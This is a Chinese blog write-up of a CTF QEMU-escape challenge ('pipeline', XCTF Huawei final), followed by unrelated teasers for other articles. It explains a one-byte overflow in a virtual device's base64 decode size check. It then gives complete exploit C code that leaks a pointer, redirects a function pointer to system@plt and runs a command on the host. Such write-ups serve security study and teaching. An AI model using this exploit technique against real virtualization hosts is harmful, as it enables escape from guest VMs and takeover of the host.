当前位置: 首页 > news >正文

【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline

前言

虚拟机用户名: root

无密码

设备逆向与漏洞分析

程序没有去符合, 还是比较简单. 实例结构体如下:

先总体说一下流程:

encode 为 base64 编码函数, decode 为 base64 解码函数. 然后 encPipe 和 decPipe 分别存放编码数据和解码数据, 分别有四个:

其中 EncPipeLine 中的 data 大小为 92, DecPipeLine 中的 data 大小为 64.

pipeline_mmio_read

这个函数就是去读取指定 Pipe 偏移处的字节. 这里解释一下:

先解释一下下面代码:

  if ( addr < sizea )return *((char *)&opaque->pdev.qdev.parent_obj.free + offset + addr);// (char *)&opaque->pdev.qdev.parent_obj.free => obj+8

 (char *)&opaque->pdev.qdev.parent_obj.free 其实就是 opaque+8, 为啥呢? 看图:

这下应该不言而喻了.

当 pIdx <= 3 时, 说明读取的是 encPipe[pIdx],  然后 offset = 96LL * pIdx + 0xAD0; 所以最后其实就是:

  if ( addr < sizea )return *((char *)&opaque + 0xA08 + 96*Pidx + addr);

opaque + 0xA08 就是第一个 encPipe[0].data 的起始地址. pIdx > 3 自己分析.

pipeline_mmio_write

往指定 pIdx 块的 addr 偏移处写一个字节

pipeline_pmio_read

读取 pIdx 的值或者读取 pIdx 块的 size

pipeline_pmio_write -- 关键函数

当 addr = 0 时则设置对应 pIdx

当 addr = 4 时则设置对应 pIdx 块的 size

最重要的还是下面这两个 base64 功能

当 addr = 14 时, 对 decData[idx] 中的数据进行 base64 编码, 结果存放在 encData[idx] 中.

这里的大小判断跑一下发现是不存在问题的

当 addr = 16 时, 对 encData[idx] 中的数据进行 base64 编码, 结果存放在 decData[idx] 中.

而这里的大小判断存在问题, 原因是 c 语言中的除法是向下取整的, 比如 1/5 == 2/5 是成立的.

这里可以实际跑一下:

可以看到当 encData.data 中的数据大小为 87 时, 计算出来大小为 64 是可以通过判断的, 但是实际上解码后是 65 个字节, 因为 decData.data 只有 64 字节的空间, 所以这里存在一个字节的溢出.

漏洞利用

这里一个字节刚好可以溢出到下一个 decData 的 size, 然后就可以实现越界读写了.

1 利用 base64 解码去溢出 pIdx = 6 的 decData 的 size 域

2 越界读 encode 函数地址, 计算 system@plt 地址

3 越界写使得 encode 函数指针指向 system@plt

4 写 cmd 到 decData 中

5 进行 base64 编码触发

exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>uint64_t mmio_addr = 0x00000000febf1000;
uint64_t mmio_size = 0x1000;
void * mmio_base;
uint64_t pmio_base = 0x000000000000c040;
void err_exit(char* msg)
{printf("[X] error at %s\n");exit(-1);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);mmio_base = mmap(0, mmio_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);printf("[+] mmio_base: %#p\n", mmio_base);if (mlock(mmio_base, mmio_size) < 0) err_exit("mlock for mmio");
}void pmio_init() { if (iopl(3) < 0) err_exit("iopl(3)"); }uint32_t pmio_read(uint64_t addr) { return inl(pmio_base + addr); }
void pmio_write(uint64_t addr, uint32_t val) { outl(val, pmio_base + addr); }void enc(){ pmio_write(12, 0); }
void dec() { pmio_write(16, 0); }char mmio_read8(uint64_t offset) { return *(char*)(mmio_base + offset); }
void mmio_write8(uint64_t offset, char val) { *(char*)(mmio_base + offset) = val; }void mmio_read(uint64_t offset, int idx, char* data, int len)
{pmio_write(0, idx);for (int i = 0; i < len; i++) data[i] = mmio_read8(offset+i);
}void mmio_write(uint64_t offset, int idx, char* data, int len)
{pmio_write(0, idx);pmio_write(4, len);for (int i = 0; i < strlen(data); i++) mmio_write8(offset+i, data[i]);
}int main(int argc, char** argv, char** envp)
{mmio_init();pmio_init();char data[256] = { 0 };memset(data, '/', 87);mmio_write(0, 2, data, 0x5c);dec();mmio_read(0, 7, data, 240);binary_dump("OOB DATA", data+4, 240);uint64_t system_plt = *(uint64_t*)(data+4+0x40) - 0x00000000003404F3 + 0x00000000002C0AD0;printf("[+] system@plt: %#p\n", system_plt);pmio_write(0, 7);for (int i = 0; i < 8; i++) mmio_write8(68+i, *((char*)&system_plt+i));char * cmd = "xcalc";mmio_write(0, 4, cmd, 0x40);enc();return 0;
}

效果如下:

相关文章:

【qemu逃逸】XCTF 华为高校挑战赛决赛-pipeline

前言 虚拟机用户名: root 无密码 设备逆向与漏洞分析 程序没有去符合, 还是比较简单. 实例结构体如下: 先总体说一下流程: encode 为 base64 编码函数, decode 为 base64 解码函数. 然后 encPipe 和 decPipe 分别存放编码数据和解码数据, 分别有四个: 其中 EncPipeLine 中…...

muduo源码剖析之TcpClient客户端类

简介 muduo用TcpClient发起连接&#xff0c;TcpClient有一个Connector连接器&#xff0c;TCPClient使用Conneccor发起连接, 连接建立成功后, 用socket创建TcpConnection来管理连接, 每个TcpClient class只管理一个TcpConnecction&#xff0c;连接建立成功后设置相应的回调函数…...

C语言——switch语句判断星期

#define _CRT_SECURE_NO_WARNINGS 1#include<stdio.h> int main() {int day 0;scanf("请输入1-7之间的整数&#xff1a;%d",&day);switch(day){case 1:printf("星期一\n");break;case 2:printf("星期二\n");break;case 3:printf(&quo…...

栈回溯之CmBacktrace

简介 CmBacktrace &#xff08;Cortex Microcontroller Backtrace&#xff09;是一款针对 ARM Cortex-M 系列 MCU 的错误代码自动追踪、定位&#xff0c;错误原因自动分析的开源库。主要特性如下&#xff1a; 支持的错误包括&#xff1a; 断言&#xff08;assert&#xff09;…...

node插件MongoDB(二)——MongoDB的基本命令

文章目录 前言1. 数据库命令&#xff08;1&#xff09;显示所有数据库&#xff08;2&#xff09;切换指定数据库&#xff08;若没有自动创建&#xff09;&#xff08;3&#xff09;显示当前所在数据库&#xff08;4&#xff09;删除当前数据库 2.集合&#xff08;表名&#xff…...

【Git】推送Github失败:remote: Permission to xxx/*.git denied to xxx

在github上&#xff0c;创建了token&#xff0c;推送代码报没权限 #设置token git remote set-url origin <your.token>github.com/<your.name>/hello-git.git#推送代码 #git push -u origin main remote: Permission to xxx/hello-git.git denied to xxx. fatal:…...

Flink -- 状态与容错

1、Stateful Operations 有状态算子&#xff1a; 有状态计算&#xff0c;使用到前面的数据&#xff0c;常见的有状态的算子&#xff1a;例如sum、reduce&#xff0c;因为它们在计算的时候都是用到了前面的计算的结果 总结来说&#xff0c;有状态计算并不是独立存在的&#xf…...

Linux C语言进阶-D15递归函数和函数指针

递归函数 指一个函数的函数体中直接或间接调用了该函数本身 执行过程分为两个过程&#xff1a; 递推过程&#xff1a;从原问题出发&#xff0c;按递归公式递推从未知到已知&#xff0c;最终达到递推终止条件 回归阶段&#xff1a;按递归终止条件求出结果&#xff0c;逆向逐步…...

LeetCode算法心得——全排列(回溯型排列)

大家好&#xff0c;我是晴天学长&#xff0c;排列型的回溯&#xff0c;需要的小伙伴可以关注支持一下哦&#xff01;后续会继续更新的。&#x1f4aa;&#x1f4aa;&#x1f4aa; 1) .全排列 给定一个不含重复数字的数组 nums &#xff0c;返回其 所有可能的全排列 。你可以 按…...

读取W25Q64的设备ID时输出0xff

发现的问题 读取W25Q64的设备ID时输出0xff 找到的不同解决方法 检查MISO和MOSI是否接对。MISO->DO&#xff0c;MOSI->DI检查程序在初始化spi时是否将SS拉高、SCK拉低如果是硬件spi那么检查SPI的初始化函数中&#xff0c;时钟极性SPI_CPOL误选为SPI_CPOL_Low&#xff0…...

【Docker】Docker 网络

引言 Docker是一个开源的应用容器引擎&#xff0c;它允许开发者将应用及其依赖打包到一个可移植的容器中&#xff0c;然后发布到任何流行的Linux机器或Windows机器上&#xff0c;也可以实现虚拟化。Docker的主要优势之一是其网络功能&#xff0c;而网络功能的核心就是网络驱动…...

Flutter学习:使用CustomPaint绘制路径

Flutter学习&#xff1a;认识CustomPaint组件和Paint对象 Flutter学习&#xff1a;使用CustomPaint绘制路径 Flutter学习&#xff1a;使用CustomPaint绘制图形 Flutter学习&#xff1a;使用CustomPaint绘制文字 Flutter学习&#xff1a;使用CustomPaint绘制图片 drawPath 绘制路…...

软件模拟SPI协议的理解和使用编写W25Q64

SPI软件模拟的时序 SPI协议中&#xff0c;NSS、SCK、MOSI由主机产生&#xff0c;MISO由从机产生&#xff0c;在SCK每个时钟周期MOSI、MISO传输一位数据&#xff0c;数据的输入输出是同时进行的&#xff0c;所以读写数据也可以视作交换数据。所以读写时对数据位的控制都是用同一…...

SQLI手动注入和python sqlmap代码注入

sql教程&#xff1a; https://www.w3school.com.cn/sql/index.asp数据库&#xff1a; mysql oracle mssql常用方法 system_user() 系统用户名 user() 用户名 current_user() 当前用户名 session_user() 连接数据库的用户名 d…...

MemcachedRedis构建缓存服务器 (数据持久化,主从同步,哨兵模式)

Memcached/redis是高性能的分布式内存缓存服务器,通过缓存数据库查询结果&#xff0c;减少数据库访问次数&#xff0c;以提高动态Web等应用的速度、 提高可扩展性。降低数据库读的压力 Nsql的优点&#xff1a;高可扩展性&#xff0c;分布式计算&#xff0c;低成本&#xff0c;…...

Python语法基础(变量 注释 数据类型 输入与输出 运算符 缩进)

目录 变量变量命名规则变量的类型变量的创建变量的作用域 注释的方法数据类型对象和引用的概念Number(数字)数据转换 输入与输出输入函数输出函数输出函数的end参数输出格式多行语句 运算符算术运算符赋值运算符三目运算符运算符的优先级 缩进缩进格式注意事项层级嵌套 变量 标…...

linux espeak语音tts;pyttsx3 ubuntu使用

整体使用espeak声音很机械不太自然 1、linux espeak语音tts 安装&#xff1a; sudo apt install espeak使用&#xff1a; #中文男声 espeak -v zh 你好 #中文女声 espeak -v zhf3 你好 #粤语男声 espeak -v zhy 你好注意&#xff1a;espeak -v zh 你好 &#xff08;Full d…...

小白该如何学习Linux操作系统?

&#x1f482; 个人网站:【工具大全】【游戏大全】【神级源码资源网】&#x1f91f; 前端学习课程&#xff1a;&#x1f449;【28个案例趣学前端】【400个JS面试题】&#x1f485; 寻找学习交流、摸鱼划水的小伙伴&#xff0c;请点击【摸鱼学习交流群】 Linux作为一种开源操作系…...

2023双十一:实体门店闯入,第二战场全面开战

“闺女&#xff0c;吃饺子了吗&#xff1f;”11月8日&#xff0c;立冬&#xff0c;忙碌一天的陈曦回家路上接到母亲电话&#xff0c;才想起来家里冷冻水饺没了&#xff0c;又不想再去超市&#xff0c;直接打开美团买菜买了两袋&#xff0c;回家就煮了吃。当然&#xff0c;最终她…...

操作系统·处理机调度死锁

3.1 处理机调度概述 3.1.1 处理机调度概述 高级调度 (High level Scheduling)决定把外存上哪些作业调入内存、创建进程、分配资源。高级调度又称作业调度、长程调度或宏观调度。只在批处理系统中有高级调度。 中级调度 (Middle level Scheduling)完成进程的部分或全部在内、…...

3步掌握B站字幕提取:从零到精通的完整指南

3步掌握B站字幕提取&#xff1a;从零到精通的完整指南 【免费下载链接】BiliBiliCCSubtitle 一个用于下载B站(哔哩哔哩)CC字幕及转换的工具; 项目地址: https://gitcode.com/gh_mirrors/bi/BiliBiliCCSubtitle 对于技术爱好者和内容创作者来说&#xff0c;高效获取B站视…...

融合进化:遗传模拟退火算法在复杂优化问题中的实战解析

1. 当遗传算法遇上模拟退火&#xff1a;为什么需要融合进化&#xff1f; 第一次接触遗传模拟退火算法&#xff08;GSAA&#xff09;是在解决一个物流配送中心的选址问题时。当时纯遗传算法总是卡在某个局部最优解&#xff0c;而模拟退火又难以突破初始解的局限。这种困境让我意…...

从超时到成功:深度解析并解决Hugging Face模型下载中的HTTPSConnectionPool与LocalEntryNotFoundError

1. 当模型下载变成一场噩梦&#xff1a;HTTPSConnectionPool与LocalEntryNotFoundError的真相 最近在处理PDF文档时&#xff0c;我遇到了一个让人抓狂的问题。当时我正在使用unstructured库的partition_pdf功能&#xff0c;系统突然抛出一连串红色错误提示&#xff1a;先是HTTP…...

从Java转行大模型应用,基于 BLIP 的图生文实战案例

一、项目简介 BLIP 是 Salesforce 开源的多模态视觉语言模型&#xff0c;兼顾图像理解、图文检索、图像字幕&#xff08;Image Caption&#xff09;、VQA 视觉问答等能力。本案例实现&#xff1a;输入任意图片 → 自动生成精准自然的中文 / 英文描述文案&#xff0c;轻量化部署…...

从表情包水印到安全通信:深入理解Python LSB算法的实战应用与局限

从表情包水印到安全通信&#xff1a;Python LSB算法的实战应用与局限剖析 当你在社交媒体上分享一张搞笑表情包时&#xff0c;是否想过这张图片可能隐藏着版权信息&#xff1f;这种看似魔术般的技术&#xff0c;背后是LSB&#xff08;最低有效位&#xff09;算法在发挥作用。作…...

卡内基梅隆大学等突破:多模态AI实现统一测试基准平台建立突破

这项由卡内基梅隆大学、威廉与玛丽学院、奥本大学和威斯康星大学麦迪逊分校联合开展的研究&#xff0c;于2026年4月发表&#xff0c;论文编号为arXiv:2604.10784&#xff0c;有兴趣深入了解的读者可以通过该编号查询完整原文。如果你最近关注过人工智能领域的新闻&#xff0c;一…...

免费解锁QQ音乐加密文件:qmcdump终极解密指南完整版

免费解锁QQ音乐加密文件&#xff1a;qmcdump终极解密指南完整版 【免费下载链接】qmcdump 一个简单的QQ音乐解码&#xff08;qmcflac/qmc0/qmc3 转 flac/mp3&#xff09;&#xff0c;仅为个人学习参考用。 项目地址: https://gitcode.com/gh_mirrors/qm/qmcdump 你是否曾…...

Java项目如何72小时内完成Loom响应式升级?一线大厂已验证的5个避坑清单

第一章&#xff1a;Loom响应式升级的必要性与72小时落地可行性论证现代Java应用在高并发、低延迟场景下面临线程模型瓶颈&#xff0c;传统Thread-per-Request模式导致资源开销剧增、GC压力攀升、上下文切换成本不可忽视。Project Loom引入虚拟线程&#xff08;Virtual Threads&…...

如何快速对比两个SQL查询结果_使用EXCEPT或差集逻辑

MySQL不支持EXCEPT&#xff0c;需用LEFT JOINIS NULL或NOT EXISTS替代&#xff1b;EXCEPT按位置匹配列&#xff0c;要求列数相同、类型兼容&#xff0c;NULL值影响结果&#xff0c;性能依赖子查询优化。EXCEPT 在 PostgreSQL 和 SQL Server 里能直接用&#xff0c;MySQL 不行My…...

智慧树自动刷课插件终极教程:3步实现高效学习自动化 [特殊字符]

智慧树自动刷课插件终极教程&#xff1a;3步实现高效学习自动化 &#x1f680; 【免费下载链接】zhihuishu 智慧树刷课插件&#xff0c;自动播放下一集、1.5倍速度、无声 项目地址: https://gitcode.com/gh_mirrors/zh/zhihuishu 还在为智慧树平台的繁琐操作而烦恼吗&am…...